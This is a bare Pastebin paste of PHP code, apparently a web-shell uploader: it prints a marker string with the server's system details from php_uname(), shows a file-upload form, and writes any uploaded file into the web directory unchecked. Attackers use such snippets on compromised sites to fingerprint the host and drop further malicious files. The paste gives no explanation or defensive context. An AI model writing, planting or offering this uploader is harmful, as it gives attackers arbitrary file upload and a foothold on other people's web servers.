Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- echo 'sohai:'.php_uname().'<html><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">
- <input type="file" name="file"><input name="_upl" type="submit" id="_upl" value="Upload">
- </form></html>';
- if($_POST["_upl"]=="Upload") {
- if(@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"])) {
- echo "<b>ok</b><br><br>";}else{echo "notok";}}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement